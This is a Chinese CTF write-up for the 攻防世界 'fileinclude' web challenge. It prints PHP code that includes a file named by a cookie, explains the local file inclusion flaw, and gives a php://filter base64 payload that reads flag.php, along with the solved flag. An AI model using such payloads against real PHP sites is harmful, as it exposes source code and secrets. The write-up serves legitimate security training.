攻防世界(CTF)~web-fileinclude

题目介绍

这题主要使用php伪协议来解

php://filter  是一个可以在 PHP 中进行数据过滤和流处理的协议。

什么是php伪协议?

题目主页告诉我们了一个目录和flag就在flag.php里面

先打开源码看一下有没有什么信息

发现一段php代码,我们来审计一下

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

第五行

$lan = $_COOKIE['language'];

第十四行

@include($lan.".php");

在cookie中的内容language 会被传到变量$lan,然后在@include($lan.".php")被调用与执行,同时拼接上.php,所以我们在构造payload的时候后面不需要在加上后缀。

payload

Cookie:language=php://filter/convert.base64-encode/resource=/var/www/html/flag

操作演示(方法一:hackbar)

base64解码工具直接解码得到flag

操作演示(方法二:brupsuit)

选中内容鼠标右击放到Decoder模块去解密

flag="cyberpeace{f32bb194c8b8cbb2e97d27f0f6b179e4}

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值